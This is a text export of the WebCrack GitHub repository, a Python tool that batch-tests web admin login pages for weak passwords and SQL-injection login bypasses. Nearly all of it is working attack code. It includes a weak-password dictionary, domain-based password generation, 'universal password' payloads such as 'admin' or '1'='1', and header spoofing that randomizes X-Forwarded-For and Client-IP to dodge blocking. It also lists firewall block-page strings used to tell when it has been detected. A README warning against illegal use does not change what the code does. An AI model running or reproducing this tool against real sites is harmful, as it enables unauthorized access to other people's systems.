Full Code of yzddmr6/WebCrack for AI

master eb64610f3352 cached
17 files
24.7 KB
7.2k tokens
32 symbols
1 requests
Download .txt
Repository: yzddmr6/WebCrack
Branch: master
Commit: eb64610f3352
Files: 17
Total size: 24.7 KB

Directory structure:
gitextract_00mb4rd0/

├── .gitignore
├── README.md
├── conf/
│   ├── __init__.py
│   ├── config.py
│   └── password_list.txt
├── crack/
│   ├── __init__.py
│   └── crack_task.py
├── generator/
│   ├── __init__.py
│   ├── dict.py
│   └── header.py
├── logs/
│   ├── __init__.py
│   └── log.py
├── parse/
│   ├── __init__.py
│   └── parser.py
├── requirements.txt
├── url.txt
└── webcrack.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
/.idea/
/logs/20*
*.pyc
*test*

================================================
FILE: README.md
================================================
# WebCrack `v(2.2)`

## 工具简介

WebCrack是一款web后台弱口令/万能密码批量检测工具,在工具中导入后台地址即可进行自动化检测。


## 开发文档

https://yzddmr6.com/posts/webcrack-release/

## 更新日志

### 2021/07/27 `v(2.2)`

* 修复后台页面没有action字段导致的解析问题

* 配置文件字典改为加载txt方式

### 2021/03/15 `v(2.1)`

* 修复目标为IP时字典生成失败的BUG

### 2021/02/22 `v(2.0)`

* 代码重构,解耦,面向对象

* `conf/config.py`中可以自定义全局参数

* 去掉预请求,优化核心判断逻辑

* 修复部分BUG

### 2020/02/25 `v(1.1)`

代码准备全部重构,先发一个修复BUG的临时版本

* 优化核心判断逻辑

* 修复两处表单识别问题

* 增加黑名单关键字

### 2019/09/09 `v(1.0)`

* 项目开源

## 工具特点

* 多重判断机制,减少误报

* 随机UA 随机X-Forwarded-For 随机Client-IP

* 可以通过域名生成动态字典

* 可以检测万能密码漏洞

* 支持自定义爆破规则

## 使用方法

下载项目
```
git clone https://github.com/yzddmr6/WebCrack
```

安装依赖
```
pip install -r requirements.txt
```

运行脚本
```
> python3 webcrack.py

+---------------------------------------------------+
| __          __  _      _____                _     |
| \ \        / / | |    / ____|              | |    |
|  \ \  /\  / /__| |__ | |     _ __ __ _  ___| | __ |
|   \ \/  \/ / _ \ '_ \| |    | '__/ _' |/ __| |/ / |
|    \  /\  /  __/ |_) | |____| | | (_| | (__|   <  |
|     \/  \/ \___|_.__/ \_____|_|  \__,_|\___|_|\_\ |
|                                                   |
|                 code by @yzddmr6                  |
|                  version: 2.1                     |
+---------------------------------------------------+

File or Url:

```

输入文件名则进行批量爆破,输入URL则进行单域名爆破。

开始爆破

![image-20210222154621129](README.assets/image-20210222154621129.png)


爆破的结果会保存在`logs/{date}/`文件夹中

![image](https://user-images.githubusercontent.com/46088090/64511693-6a248e80-d317-11e9-9d0c-6114cb194d37.png)


## 自定义配置文件

参数详情见`conf/config.py`文件注释

## 警告!

**请勿用于非法用途!否则自行承担一切后果**


================================================
FILE: conf/__init__.py
================================================
import sys, os

sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))


================================================
FILE: conf/config.py
================================================
import os


def txt2list(txt):
    ret = []
    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), txt)
    with open(path, "r", encoding="UTF-8") as f:
        for line in f.readlines():
            ret.append(line.strip())
    return ret


logConfig = {
    "log_filename": "logs.txt",  # 普通日志文件名称
    "success_filename": "success.txt",  # 成功日志文件名称
}

crackConfig = {
    "timeout": 10,  # 超时时间
    "delay": 0.03,  # 每次请求之后sleep的间隔
    "test_username": "admin",  # 测试用户名
    "test_password": "length_test",  # 测试密码
    "requests_proxies": {  # 请求代理
        # "http": "127.0.0.1:8080",
        # "https": "127.0.0.1:8080"
    },
    "fail_words": ['密码错误', '重试', '不正确', '密码有误', '不成功', '重新输入', '不存在', '登录失败', '登陆失败', '密码或安全问题错误', 'history.go',
                   'history.back',
                   '已被锁定', '安全拦截', '还可以尝试', '无效', '攻击行为', '创宇盾', 'http://zhuji.360.cn/guard/firewall/stopattack.html',
                   'D盾_拦截提示', '用户不存在',
                   '非法', '百度云加速', '安全威胁', '防火墙', '黑客', '不合法', 'Denied', '尝试次数',
                   'http://safe.webscan.360.cn/stopattack.html', "Illegal operation", "服务器安全狗防护验证页面"]  # 黑名单关键字
}
generatorConfig = {
    "dict_config": {
        "base_dict": {
            "username_list": ['admin'],  # 爆破用户名字典
            "password_list": txt2list("password_list.txt")  # 爆破密码字典

        },
        "domain_dict": {
            "enable": True,
            "suffix_list": [  # 动态生成域名字典后缀
                "",
                "123",
                "666",
                "888",
                "123456"
            ],

        },
        "sqlin_dict": {
            "enable": True,
            "payload_list": [  # 万能密码列表
                "admin' or 'a'='a",
                "'or'='or'",
                "admin' or '1'='1' or 1=1",
                "')or('a'='a",
                "'or 1=1 -- -"
            ],
        }
    },
    "headers_config": {
        "enable": True,
        "useragent_list": [
            "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0",
            "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre",
            "Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60",
            "Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14",
            "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36",
            "Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)",
            "Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
            "Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5"
        ],
        "default_headers": {
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'User-Agent': "WebCrack Test",
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.8',
            "Referer": "http://www.baidu.com/",
            'Content-Type': 'application/x-www-form-urlencoded'}
    }
}
parserConfig = {
    "default_value": "0000",  # 当参数没有value时的默认填充值
    "username_keyword_list": [  # 用户名参数关键字列表
        "user",
        "name",
        "zhanghao",
        "yonghu",
        "email",
        "account",
    ],
    "password_keyword_list": [  # 密码参数关键字列表
        "pass",
        "pw",
        "mima"
    ],

    "captcha_keyword_list": [  # 验证码关键字列表
        "验证码",
        "captcha",
        "验 证 码",
        "点击更换",
        "点击刷新",
        "看不清",
        "认证码",
        "安全问题"
    ],

    "login_keyword_list": [  # 检测登录页面关键字
        "用户名",
        "密码",
        "login",
        "denglu",
        "登录",
        "user",
        "pass",
        "yonghu",
        "mima",
        "admin",
    ],

}
cmsConfig = {
    "discuz": {
        "name": "discuz",  # cms名称
        "keywords": "admin_questionid",  # cms页面指纹关键字
        "captcha": 0,  # 是否存在验证码
        "sqlin_able": 0,  # 是否存在后台sql注入
        "success_flag": "admin.php?action=logout",  # 登录成功关键字
        "die_flag": "密码错误次数过多",  # 若填写此项,遇到其中的关键字就会退出爆破,用于dz等对爆破次数有限制的cms
        "alert": 0,  # 若为1则会打印下面note的内容
        "note": "discuz论坛测试"
    },
    "dedecms": {
        "name": "dedecms",
        "keywords": "newdedecms",
        "captcha": 0,
        "sqlin_able": 0,
        "success_flag": "",
        "die_flag": "",
        "alert": 0,
        "note": "dedecms测试"
    },
    "phpweb": {
        "name": "phpweb",
        "keywords": "width:100%;height:100%;background:#ffffff;padding:160px",
        "captcha": 0,
        "sqlin_able": 1,
        "success_flag": "admin.php?action=logout",
        "die_flag": "",
        "alert": 1,
        "note": "存在 phpweb 万能密码 : admin' or '1' ='1' or '1'='1"
    },
    "ecshop": {
        "name": "ecshop",
        "keywords": "validator.required('username', user_name_empty);",
        "captcha": 0,
        "sqlin_able": 0,
        "success_flag": "ECSCP[admin_pass]",
        "die_flag": "",
        "alert": 0,
        "note": "ecshop测试"
    },
    "phpmyadmin": {
        "name": "phpmyadmin",
        "keywords": "pma_username",
        "captcha": 0,
        "sqlin_able": 0,
        "success_flag": "db_structure.php",
        "die_flag": "",
        "alert": 0,
        "note": "phpmyadmin测试"
    }
}


================================================
FILE: conf/password_list.txt
================================================
{user}
123456
{user}888
12345678
123123
88888888
888888
password
123456a
{user}123
{user}123456
{user}666
{user}2018
123456789
654321
666666
66666666
1234567890
8888888
987654321
0123456789
12345
1234567
000000
111111
5201314
123123

================================================
FILE: crack/__init__.py
================================================


================================================
FILE: crack/crack_task.py
================================================
import requests

from generator.dict import *
from generator.header import get_random_headers
from conf.config import *
import logs.log as Log
from parse.parser import Parser
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import time


def get_res_length(res):
    # return len(res.text + str(res.headers))
    return len(res.text)


class CrackTask:
    id = 0
    url = ''
    parser = {}
    error_length = 0
    requests_proxies = {}
    timeout = 0
    fail_words = []
    test_username = ''
    test_password = ''
    conn = {}

    def __init__(self):
        # 加载配置文件
        self.requests_proxies = crackConfig["requests_proxies"]
        self.timeout = crackConfig["timeout"]
        self.fail_words = crackConfig["fail_words"]
        self.test_username = crackConfig["test_username"]
        self.test_password = crackConfig["test_password"]

    def run(self, id, url):
        self.id = id
        self.url = url
        print("")
        Log.init_log_id(id)
        Log.Info(f"[*] Start: {url}")
        try:
            self.parser = Parser(self.url)
            if not self.parser.run():
                return
            self.error_length = self.get_error_length()
            username_dict, password_dict = gen_dict(url)
            username, password = self.crack_task(username_dict, password_dict)
            # 万能密码爆破
            if not username and not password:
                if self.parser.cms:
                    sqlin_dict_enable = self.parser.cms["sqlin_able"]
                else:
                    sqlin_dict_enable = generatorConfig["dict_config"]["sqlin_dict"]["enable"]
                if sqlin_dict_enable:
                    Log.Info(f"[*] {url} 启动万能密码爆破模块")
                    sqlin_user_dict, sqlin_pass_dict = gen_sqlin_dict()
                    username, password = self.crack_task(sqlin_user_dict, sqlin_pass_dict)

            if username and password:
                Log.Info(f"[*] Rechecking... {url} {username} {password}")
                recheck_flag = self.recheck(username, password)
                if recheck_flag:
                    Log.Success(f"[+] Success: {url}  {username}/{password}")
                    return
                else:
                    Log.Info(f"[-] Recheck failed: {url}  {username}/{password}")
            Log.Error("[-] Failed: " + url)
        except Exception as e:
            Log.Error(f"{str(e)}")

    def crack_request(self, conn, username, password):
        data = self.parser.data
        path = self.parser.post_path
        data[self.parser.username_keyword] = username
        data[self.parser.password_keyword] = password
        res = conn.post(url=path, data=data, headers=get_random_headers(), timeout=self.timeout, verify=False,
                        allow_redirects=True, proxies=self.requests_proxies)
        time.sleep(crackConfig["delay"])
        res.encoding = res.apparent_encoding
        return res

    def get_error_length(self):
        conn = requests.session()
        self.conn = conn
        # pre_res = self.crack_request(conn, self.test_username, self.test_password)  # 预请求一次
        res1 = self.crack_request(conn, self.test_username, self.test_password)
        res2 = self.crack_request(conn, self.test_username, self.test_password)
        error_length1 = get_res_length(res1)
        error_length2 = get_res_length(res2)
        if error_length1 != error_length2:
            raise Exception(f"[-] {self.url} Error length 不为固定值")
        return error_length1

    def recheck(self, username, password):
        password = password.replace('{user}', username)
        conn = requests.session()
        # pre_res = self.crack_request(conn, self.test_username, self.test_password)  # 预请求一次
        res1 = self.crack_request(conn, self.test_username, self.test_password)
        res2 = self.crack_request(conn, username, password)
        error_length1 = get_res_length(res1)
        error_length2 = get_res_length(res2)

        if error_length1 == error_length2 or res2.status_code == 403:
            return False
        else:
            return True

    def crack_task(self, username_dict, password_dict):
        fail_words = self.fail_words
        conn = self.conn
        error_length = self.error_length
        num = 0
        dic_all = len(username_dict) * len(password_dict)
        for username in username_dict:
            for password in password_dict:
                right_pass = 1
                password = password.replace('{user}', username)
                num = num + 1
                Log.Info(f"[*] {self.url} 进度: ({num}/{dic_all}) checking: {username} {password}")
                res = self.crack_request(conn, username, password)
                html = res.text + str(res.headers)
                if self.parser.cms:
                    if self.parser.cms["success_flag"] and (self.parser.cms["success_flag"] in html):
                        return username, password
                    elif self.parser.cms["die_flag"] and (self.parser.cms["die_flag"] in html):
                        return False, False
                for fail_word in fail_words:
                    if fail_word in html:
                        right_pass = 0
                        break
                if right_pass:
                    cur_length = get_res_length(res)
                    if self.parser.username_keyword in res.text and self.parser.password_keyword in res.text:
                        continue
                    if cur_length != error_length:
                        return username, password
                else:
                    continue
        return False, False


================================================
FILE: generator/__init__.py
================================================


================================================
FILE: generator/dict.py
================================================
import re
from conf.config import *


def gen_dict(url):
    username_list, password_list = gen_base_dict()
    if generatorConfig["dict_config"]["domain_dict"]["enable"]:
        domain_user_dict, domain_pass_dict = gen_domain_dict(url)
        if domain_user_dict and domain_pass_dict:
            username_list.extend(domain_user_dict)
            password_list.extend(domain_pass_dict)
    if username_list and password_list:
        return username_list, password_list
    else:
        raise Exception("[-] 字典生成失败!")


def gen_sqlin_dict():
    sqlin_user_dict = generatorConfig["dict_config"]["sqlin_dict"]["payload_list"]
    sqlin_pass_dict = sqlin_user_dict
    return sqlin_user_dict, sqlin_pass_dict


def gen_base_dict():
    base_username_list = generatorConfig["dict_config"]["base_dict"]["username_list"].copy()
    base_password_list = generatorConfig["dict_config"]["base_dict"]["password_list"].copy()
    return base_username_list, base_password_list


def gen_domain_dict(url):
    domain_user_dict = []
    domain_pass_dict = []
    tmp_dict = []
    suffix_list = generatorConfig["dict_config"]["domain_dict"]["suffix_list"]
    list1 = url.split('/')
    host = list1[2].split(":")[0]
    compile_ip = re.compile(
        '^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$')
    if compile_ip.match(host):
        check_ip = 1
    else:
        check_ip = 0
    if not check_ip:
        list2 = host.split(".")
        i = len(list2)
        for u in range(i):  # 生成url字典1
            list3 = list2[u:]
            part = '.'.join(list3)
            if (len(part) < 5):
                continue
            domain_pass_dict.append(part)
        for u in range(i):  # 生成url字典2
            list3 = list2[u]
            if len(list3) < 5:
                continue
            tmp_dict.append(list3)
        for i in tmp_dict:
            for suffix in suffix_list:
                u = i + suffix
                domain_pass_dict.append(u)
        return domain_user_dict, domain_pass_dict
    else:
        return False, False


================================================
FILE: generator/header.py
================================================
import random
from conf.config import *

useragent_list = generatorConfig["headers_config"]["useragent_list"]
enable = generatorConfig["headers_config"]["enable"]


def get_random_headers():  # 生成随机headers
    if enable:
        UA = random.choice(useragent_list)
        a = str(random.randint(1, 255))
        b = str(random.randint(1, 255))
        c = str(random.randint(1, 255))
        random_XFF = '127.' + a + '.' + b + '.' + c
        random_CI = '127.' + c + '.' + a + '.' + b
        headers = {
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'User-Agent': UA,
            'X-Forwarded-For': random_XFF,
            'Client-IP': random_CI,
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.8',
            "Referer": "http://www.baidu.com/",
            'Content-Type': 'application/x-www-form-urlencoded'}
    else:
        headers = generatorConfig["rand_headers_config"]["default_headers"]

    return headers


================================================
FILE: logs/__init__.py
================================================


================================================
FILE: logs/log.py
================================================
import time, os
from conf.config import *

date = time.strftime('%Y-%m-%d', time.localtime(time.time()))
log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), date)
if not os.path.exists(log_dir):
    os.mkdir(log_dir)

success_filename = os.path.join(log_dir, logConfig["success_filename"])
log_filename = os.path.join(log_dir, logConfig["log_filename"])
lock = {}
id = ''


def init_lock(l):
    global lock
    lock = l


def init_log_id(i):
    global id
    id = i


def get_time():
    return time.strftime('%Y-%m-%d %X', time.localtime(time.time()))


def write_log(filename, msg):
    if lock:
        with lock:
            with open(filename, "a+", encoding="UTF-8") as log:
                log.write(msg + "\n")
    else:
        with open(filename, "a+", encoding="UTF-8") as log:
            log.write(msg + "\n")


def Info(msg):
    current_time = get_time()
    if id:
        msg = f"{current_time}  id: {id} {str(msg)}"
    else:
        msg = f"{current_time}  {str(msg)}"
    print(msg)


def Error(msg):
    current_time = get_time()
    if id:
        msg = f"{current_time}  id: {id} {str(msg)}"
    else:
        msg = f"{current_time}  {str(msg)}"
    print(msg)
    write_log(log_filename, msg)


def Success(msg):
    current_time = get_time()
    if id:
        msg = f"{current_time}  id: {id} {str(msg)}"
    else:
        msg = f"{current_time}  {str(msg)}"
    print(msg)
    write_log(success_filename, msg)


================================================
FILE: parse/__init__.py
================================================


================================================
FILE: parse/parser.py
================================================
from urllib.parse import urlparse
from conf.config import *
import requests
from bs4 import BeautifulSoup as BS
import re
from generator.header import get_random_headers
import logs.log as Log
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


class Parser:
    id = 0
    url = ''
    post_path = ''
    resp_content = ''
    form_content = ''
    username_keyword = ''
    password_keyword = ''
    data = ''
    cms = ''

    def __init__(self, url):
        self.url = url
        self.requests_proxies = crackConfig["requests_proxies"]

    def run(self):
        try:
            self.get_resp_content()
            self.cms_parser()
            self.form_parser()
            self.check_login_page()
            self.captcha_parser()
            self.post_path_parser()
            self.param_parser()
        except Exception as e:
            Log.Error(f"[-] {self.url} Parse Error: " + str(e))
            return False
        return True

    def get_resp_content(self):
        res = requests.get(self.url, timeout=crackConfig["timeout"], verify=False, headers=get_random_headers(),
                           proxies=self.requests_proxies)
        res.encoding = res.apparent_encoding
        self.resp_content = res.text

    def cms_parser(self):
        for cms in cmsConfig.values():
            keyword = cms["keywords"]
            if keyword and (keyword in self.resp_content):
                Log.Info(f"[*] {self.url} 识别到cms: {cms['name']}")
                if cms['alert']:
                    Log.Info(f"[*] {self.url} {cms['note']}")
                self.cms = cms

    def form_parser(self):
        html = self.resp_content
        result = re.findall(".*<form (.*)</form>.*", html, re.S)
        if result:
            form_data = '<form ' + result[0] + ' </form>'
            form_soup = BS(form_data, "lxml")
            self.form_content = form_soup.form
        else:
            raise Exception("Can not get form")

    def check_login_page(self):
        login_keyword_list = parserConfig["login_keyword_list"]
        for login_keyword in login_keyword_list:
            if login_keyword in str(self.form_content).lower():
                return True
        raise Exception("Maybe not login pages")

    def captcha_parser(self):
        captcha_keyword_list = parserConfig["captcha_keyword_list"]
        for captcha in captcha_keyword_list:
            if captcha in self.resp_content.lower():
                raise Exception(f"{captcha} in login page")

    def post_path_parser(self):
        url = self.url
        content = self.form_content
        form_action = str(content).split('\n')[0]
        soup = BS(form_action, "lxml")
        res = urlparse(url)
        try:
            action_path = soup.form['action']
        except:
            self.post_path = url  # 当form中没有action字段时,默认地址为url
            return

        if action_path.startswith('http'):  # action为绝对路径
            path = action_path
        elif action_path.startswith('/'):  # action为根路径
            root_path = res.scheme + '://' + res.netloc
            path = root_path + action_path
        elif action_path == '':  # action为空
            path = url
        else:  # action为同目录下相对路径
            relative_path = url.rstrip(url.split('/')[-1])
            path = relative_path + action_path
        if not path:
            raise Exception("Can not get post path")
        self.post_path = path

    def param_parser(self):
        content = self.form_content
        data = {}
        username_keyword = ''
        password_keyword = ''
        username_keyword_list = parserConfig["username_keyword_list"]
        password_keyword_list = parserConfig["password_keyword_list"]
        for input_element in content.find_all('input'):
            if input_element.has_attr('name'):
                parameter = input_element['name']
            else:
                parameter = ''
            if input_element.has_attr('value'):
                value = input_element['value']
            else:
                value = parserConfig["default_value"]
            if parameter:
                data[parameter] = value

        # 提取username_keyword,password_keyword
        for parameter in data:
            if not username_keyword and parameter != password_keyword:
                for keyword in username_keyword_list:
                    if keyword in parameter.lower():
                        username_keyword = parameter
                        break
            if not password_keyword and parameter != username_keyword:
                for keyword in password_keyword_list:
                    if keyword in parameter.lower():
                        password_keyword = parameter
                        break

        # 弹出reset
        for i in ['reset']:
            for r in list(data.keys()):
                if i in r.lower():
                    data.pop(r)

        if username_keyword and password_keyword:
            self.username_keyword = username_keyword
            self.password_keyword = password_keyword
            self.data = data
        else:
            raise Exception("Can not get login parameter")


================================================
FILE: requirements.txt
================================================
bs4
lxml
requests

================================================
FILE: url.txt
================================================
#若为#开头则忽略此行
http://www.baidu.cn/login.asp
http://www.baidu.cn/login.aspx
http://www.baidu.cn/login.php
http://www.baidu.cn/login.jsp

================================================
FILE: webcrack.py
================================================
import os
import datetime

from crack.crack_task import CrackTask

author_info = '''
+---------------------------------------------------+
| __          __  _      _____                _     |
| \ \        / / | |    / ____|              | |    |
|  \ \  /\  / /__| |__ | |     _ __ __ _  ___| | __ |
|   \ \/  \/ / _ \ '_ \| |    | '__/ _' |/ __| |/ / |
|    \  /\  /  __/ |_) | |____| | | (_| | (__|   <  |
|     \/  \/ \___|_.__/ \_____|_|  \__,_|\___|_|\_\ |
|                                                   |
|                 code by @yzddmr6                  |
|                  version: 2.2                     |
+---------------------------------------------------+
'''


def single_process_crack(url_list):
    all_num = len(url_list)
    cur_num = 1
    print("总任务数: " + str(all_num))
    for url in url_list:
        CrackTask().run(cur_num, url)
        cur_num += 1


if __name__ == '__main__':
    print(author_info)
    try:
        import conf.config
    except:
        print("加载配置文件失败!")
        exit(0)

    url_file_name = input('File or Url:\n')

    if '://' in url_file_name:
        CrackTask().run(1, url_file_name)
    else:
        url_list = []
        if os.path.exists(url_file_name):
            print(url_file_name, "exists!\n")
            with open(url_file_name, 'r', encoding="UTF-8") as url_file:
                for url in url_file.readlines():
                    url = url.strip()
                    if url.startswith('#') or url == '' or ('.edu.cn' in url) or ('.gov.cn' in url):
                        continue
                    url_list.append(url)
            start = datetime.datetime.now()
            single_process_crack(url_list)
            end = datetime.datetime.now()
            print(f'All processes done! Cost time: {str(end - start)}')
        else:
            print(url_file_name + " not exist!")
            exit(0)
Download .txt
gitextract_00mb4rd0/

├── .gitignore
├── README.md
├── conf/
│   ├── __init__.py
│   ├── config.py
│   └── password_list.txt
├── crack/
│   ├── __init__.py
│   └── crack_task.py
├── generator/
│   ├── __init__.py
│   ├── dict.py
│   └── header.py
├── logs/
│   ├── __init__.py
│   └── log.py
├── parse/
│   ├── __init__.py
│   └── parser.py
├── requirements.txt
├── url.txt
└── webcrack.py
Download .txt
SYMBOL INDEX (32 symbols across 7 files)

FILE: conf/config.py
  function txt2list (line 4) | def txt2list(txt):

FILE: crack/crack_task.py
  function get_res_length (line 14) | def get_res_length(res):
  class CrackTask (line 19) | class CrackTask:
    method __init__ (line 31) | def __init__(self):
    method run (line 39) | def run(self, id, url):
    method crack_request (line 75) | def crack_request(self, conn, username, password):
    method get_error_length (line 86) | def get_error_length(self):
    method recheck (line 98) | def recheck(self, username, password):
    method crack_task (line 112) | def crack_task(self, username_dict, password_dict):

FILE: generator/dict.py
  function gen_dict (line 5) | def gen_dict(url):
  function gen_sqlin_dict (line 18) | def gen_sqlin_dict():
  function gen_base_dict (line 24) | def gen_base_dict():
  function gen_domain_dict (line 30) | def gen_domain_dict(url):

FILE: generator/header.py
  function get_random_headers (line 8) | def get_random_headers():  # 生成随机headers

FILE: logs/log.py
  function init_lock (line 15) | def init_lock(l):
  function init_log_id (line 20) | def init_log_id(i):
  function get_time (line 25) | def get_time():
  function write_log (line 29) | def write_log(filename, msg):
  function Info (line 39) | def Info(msg):
  function Error (line 48) | def Error(msg):
  function Success (line 58) | def Success(msg):

FILE: parse/parser.py
  class Parser (line 13) | class Parser:
    method __init__ (line 24) | def __init__(self, url):
    method run (line 28) | def run(self):
    method get_resp_content (line 42) | def get_resp_content(self):
    method cms_parser (line 48) | def cms_parser(self):
    method form_parser (line 57) | def form_parser(self):
    method check_login_page (line 67) | def check_login_page(self):
    method captcha_parser (line 74) | def captcha_parser(self):
    method post_path_parser (line 80) | def post_path_parser(self):
    method param_parser (line 106) | def param_parser(self):

FILE: webcrack.py
  function single_process_crack (line 21) | def single_process_crack(url_list):
Condensed preview — 17 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (29K chars).
[
  {
    "path": ".gitignore",
    "chars": 30,
    "preview": "/.idea/\n/logs/20*\n*.pyc\n*test*"
  },
  {
    "path": "README.md",
    "chars": 1672,
    "preview": "# WebCrack `v(2.2)`\n\n## 工具简介\n\nWebCrack是一款web后台弱口令/万能密码批量检测工具,在工具中导入后台地址即可进行自动化检测。\n\n\n## 开发文档\n\nhttps://yzddmr6.com/posts/w"
  },
  {
    "path": "conf/__init__.py",
    "chars": 93,
    "preview": "import sys, os\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n"
  },
  {
    "path": "conf/config.py",
    "chars": 5678,
    "preview": "import os\n\n\ndef txt2list(txt):\n    ret = []\n    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), txt)\n   "
  },
  {
    "path": "conf/password_list.txt",
    "chars": 232,
    "preview": "{user}\n123456\n{user}888\n12345678\n123123\n88888888\n888888\npassword\n123456a\n{user}123\n{user}123456\n{user}666\n{user}2018\n123"
  },
  {
    "path": "crack/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "crack/crack_task.py",
    "chars": 5728,
    "preview": "import requests\n\nfrom generator.dict import *\nfrom generator.header import get_random_headers\nfrom conf.config import *\n"
  },
  {
    "path": "generator/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "generator/dict.py",
    "chars": 2154,
    "preview": "import re\nfrom conf.config import *\n\n\ndef gen_dict(url):\n    username_list, password_list = gen_base_dict()\n    if gener"
  },
  {
    "path": "generator/header.py",
    "chars": 1032,
    "preview": "import random\nfrom conf.config import *\n\nuseragent_list = generatorConfig[\"headers_config\"][\"useragent_list\"]\nenable = g"
  },
  {
    "path": "logs/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "logs/log.py",
    "chars": 1454,
    "preview": "import time, os\nfrom conf.config import *\n\ndate = time.strftime('%Y-%m-%d', time.localtime(time.time()))\nlog_dir = os.pa"
  },
  {
    "path": "parse/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "parse/parser.py",
    "chars": 5235,
    "preview": "from urllib.parse import urlparse\nfrom conf.config import *\nimport requests\nfrom bs4 import BeautifulSoup as BS\nimport r"
  },
  {
    "path": "requirements.txt",
    "chars": 17,
    "preview": "bs4\nlxml\nrequests"
  },
  {
    "path": "url.txt",
    "chars": 132,
    "preview": "#若为#开头则忽略此行\nhttp://www.baidu.cn/login.asp\nhttp://www.baidu.cn/login.aspx\nhttp://www.baidu.cn/login.php\nhttp://www.baidu."
  },
  {
    "path": "webcrack.py",
    "chars": 1885,
    "preview": "import os\nimport datetime\n\nfrom crack.crack_task import CrackTask\n\nauthor_info = '''\n+----------------------------------"
  }
]

About this extraction

This page contains the full source code of the yzddmr6/WebCrack GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 17 files (24.7 KB), approximately 7.2k tokens, and a symbol index with 32 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!